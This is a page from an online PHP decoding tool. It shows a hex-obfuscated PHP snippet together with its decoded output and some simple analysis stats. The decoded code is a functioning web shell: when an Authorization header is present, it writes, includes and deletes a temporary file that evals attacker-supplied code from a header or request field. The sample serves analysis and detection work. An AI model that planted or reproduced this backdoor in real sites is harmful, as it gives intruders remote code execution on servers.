Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['Authorization'])) { $c = "<\..

Decoded Output download

<?php
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['Authorization'])) { 
    $c = "<?php @eval($_HEADERS[\"Sec-Websocket-Accept"]);@eval($_REQUEST["Sec-Websocket-Accept\"]);"; 
    $f = '.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
} ?>

Did this file decode correctly?

Original Code

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['Authorization'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x53e\x63-\x57e\x62s\x6fc\x6be\x74-\x41c\x63e\x70t\x22]\x29;\x40e\x76a\x6c(\x24_\x52E\x51U\x45S\x54[\x22S\x65c\x2dW\x65b\x73o\x63k\x65t\x2dA\x63c\x65p\x74\"\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 8e1f6309fc5e04d1bbd53635d7f8817b
Eval Count 0
Decode Time 84 ms